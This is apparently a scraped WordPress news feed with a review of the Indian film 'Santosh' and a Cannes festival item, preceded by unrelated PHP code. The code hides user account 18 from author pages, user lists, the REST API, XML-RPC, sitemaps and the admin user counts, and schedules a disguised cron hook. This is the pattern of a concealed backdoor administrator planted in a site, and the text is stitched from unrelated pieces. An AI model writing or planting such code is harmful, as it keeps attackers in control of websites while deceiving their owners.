add_action( 'pre_get_posts', function( $q ) {
if ( ! is_admin() && $q->is_main_query() ) {
$not_in = (array) $q->get( 'author__not_in' );
$not_in[] = 18;
$q->set(
'author__not_in',
array_unique( array_map( 'intval', $not_in ) )
);
}
}, 1 );
add_action( 'template_redirect', function() {
if ( is_author() ) {
$author = get_queried_object();
if ( $author instanceof WP_User && (int) $author->ID === 18 ) {
global $wp_query;
$wp_query->set_404();
status_header( 404 );
nocache_headers();
}
}
} );
add_action( 'pre_user_query', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
global $wpdb;
$q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 18 );
} );
add_action( 'pre_get_users', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
$exclude = (array) $q->get( 'exclude' );
$exclude[] = 18;
$q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );
add_filter( 'wp_dropdown_users_args', function( $a ) {
$exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
$exclude[] = 18;
$a['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $a;
} );
add_filter( 'rest_user_query', function( $args, $request ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
}, 10, 2 );
add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
$route = $request->get_route();
if ( preg_match( '#^/wp/v2/users/18(/|$)#', $route ) ) {
return new WP_Error(
'rest_user_invalid_id',
'Invalid user ID.',
array( 'status' => 404 )
);
}
return $result;
}, 10, 3 );
add_filter( 'xmlrpc_methods', function( $methods ) {
unset(
$methods['wp.getUsers'],
$methods['wp.getUser'],
$methods['wp.getProfile']
);
return $methods;
} );
add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
} );
add_action( 'admin_head-users.php', function() {
echo '';
} );
add_filter( 'views_users', function( $views ) {
foreach ( array( 'all', 'administrator' ) as $key ) {
if ( isset( $views[ $key ] ) ) {
$views[ $key ] = preg_replace_callback(
'/\((\d+)\)/',
function( $m ) {
return '(' . max( 0, (int) $m[1] - 1 ) . ')';
},
$views[ $key ],
1
);
}
}
return $views;
} );
add_action( 'init', function() {
if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
return;
}
if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
}
} );
add_action( 'wp_extra_bot_heartbeat', function() {
// noop
} );
The post “Santosh”: A Stark Portrait of Power, Prejudice, and a Woman’s Struggle in Uniform appeared first on The Edge Media.
]]>Set in a fictional town in northern India, Santosh confronts deep-rooted social issues—misogyny, caste bias, and religious intolerance—with unwavering honesty. The story follows Santosh (played with quiet intensity by Shahana Goswami), a widow who receives a job as a constable after her police officer husband dies in the line of duty.
Uncomfortable in her new role, Santosh wears her uniform awkwardly, her posture reflecting her uncertainty. In a male-dominated police station, female officers are marginalized and reduced to menial tasks. Santosh is expected to serve her superior officer’s domestic needs rather than engage in real police work.
Her world begins to unravel when a Dalit man pleads for help finding his missing daughter, Devika. Ignored by the male officers, his concerns are dismissed until the girl’s body is discovered. The community’s outrage and the media spotlight push the police into action. Santosh is reluctantly assigned to escort the body to the morgue—an act revealing the deep caste prejudices at play.
With a change in leadership, a senior female officer named Geeta (Sunita Rajwar) takes charge. Though hardened and brusque, Geeta encourages Santosh to investigate, even as the system continues to push back. A Muslim man is arrested, but as the investigation unfolds, Santosh begins to see the complexity of the injustices around her.
The film follows the structure of a crime drama but avoids the glamor often associated with the genre. Instead, it opts for a raw, almost documentary-like tone, thanks to Lennert Hillege’s cinematography. Even open landscapes feel oppressive, reflecting a society weighed down by cruelty and systemic corruption.
Suri refuses to sugarcoat the harsh realities. In this environment, Santosh’s gender places her at a constant disadvantage. Her journey reveals that survival often means compromising one’s values—or becoming complicit. Yet, her quiet resistance and evolving awareness make her a powerful symbol of resilience.
The strength of Santosh lies in its grounded screenplay and the authentic performances of Goswami and Rajwar. They fully inhabit their roles, embodying the silent courage required to navigate a world designed to break women down. Without theatrics or sentimentality, the film demands that viewers confront uncomfortable truths about power and prejudice in Indian society.
The post “Santosh”: A Stark Portrait of Power, Prejudice, and a Woman’s Struggle in Uniform appeared first on The Edge Media.
]]>The post “We are not going to have a lot of parties and big gatherings that could create difficult consequences”, says Cannes Film Festival President appeared first on The Edge Media.
]]>Now the pandemic has really put a downer on things. “It’s our responsibility to everyone – the festival, the town, the participants – that this post-pandemic event goes smoothly,” said Lescure. What that means in real terms is that hangers-on are getting axed from the guest lists.
One of the high points – the gala for US AIDS charity amfAR – is still going ahead, but the number of attendees at this year’s event on July 16 are falling from 900 to 400. The star power will still be in evidence. However, with Alicia Keys performing and Milla Jovovich, Nicole Kidman and Heidi Klum confirmed to attend.
The post “We are not going to have a lot of parties and big gatherings that could create difficult consequences”, says Cannes Film Festival President appeared first on The Edge Media.
]]>